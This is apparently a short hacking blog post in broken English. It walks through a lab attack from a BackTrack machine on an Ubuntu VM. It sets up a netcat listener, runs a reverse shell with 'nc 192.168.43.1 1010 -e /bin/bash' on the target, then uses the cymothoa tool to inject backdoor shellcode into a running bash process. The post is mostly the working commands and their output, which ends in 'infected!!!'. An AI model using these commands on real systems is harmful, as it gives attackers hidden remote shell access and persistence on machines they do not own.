open your terminal and type root@bt: nc -l -v -p 1010
root@bt:~# nc -l -v -p 1010
it's still process a listening
now ope our ubuntu so open terminal and type : nc 192.168.43.1 1010 -e /bin/bash
than now back to terminal backtrack and see process of listenning.
root@bt:~# nc -l -v -p 1010
listening on [any] 1010 ...
192.168.43.130: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.43.1] from (UNKNOWN) [192.168.43.130] 36426
now type ls on backtrack bellow of process listening
ls it's meas we have on ubuntu. no type ps ax for see about process
we can see from this process about PID of bash.
i get PID 1878
so now we still on ubuntu. using termial for se a directory about cymothoa where it directory a have muve it from backtrack to ubuntu.
root@Hfree-VirtualBox:/home/h_free/Documents# ls
cymothoa
root@Hfree-VirtualBox:/home/h_free/Documents# cd cymothoa/
root@Hfree-VirtualBox:/home/h_free/Documents/cymothoa# ./cymothoa -p 1878 -s 0 -y 1010
[+] attaching to process 1878
register info:
-----------------------------------------------------------
eax value: 0xfffffe00 ebx value: 0xffffffff
esp value: 0xbfd7a244 eip value: 0x594416
------------------------------------------------------------
[+] new esp: 0xbfd7a240
[+] injecting code into 0x00827000
[+] copy general purpose registers
[+] detaching from 1878
[+] infected!!!
root@Hfree-VirtualBox:/home/h_free/Documents/cymothoa#
@keep smile & spirit
be fun
Tidak ada komentar:
Posting Komentar